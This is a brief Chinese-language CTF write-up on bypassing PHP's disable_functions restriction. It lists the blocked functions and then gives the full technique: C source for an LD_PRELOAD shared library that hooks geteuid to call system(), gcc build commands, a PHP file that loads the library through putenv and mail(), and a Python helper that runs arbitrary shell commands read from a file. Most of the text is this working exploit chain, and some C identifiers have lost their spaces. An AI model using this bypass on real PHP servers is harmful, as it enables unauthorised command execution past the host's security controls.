在做actf时第一次遇到绕过disable_function
参考wp：https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html
禁用了很多函数。。。。passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,chdir,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority
LD_PRELOAD 允许你定义在程序运行前优先加载的动态链接库。所以我们可以构造一个payload
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
voidpayload(){
system("python cmd.py > result.txt");
}
intgeteuid(){
if(getenv("LD_PRELOAD") ==NULL) {
return0;
}
unsetenv("LD_PRELOAD");
payload();
}
linux下编译生产so文件
$ gcc -c -fPIC sg.c -o sg
$ gcc -shared sg -o sg.so
可以通过putenv和mail函数 进行绕过命令执行
#scl.php
<?php
putenv("LD_PRELOAD=./scl.so");
mail("[email protected]","","","","");
?>
#cmd.py
import subprocess
with open('cmd.txt') as fp:
print subprocess.call(fp.read(), shell=True)
cmd.txt中是你要执行的命令
ls /
最后的结构差不多是这样
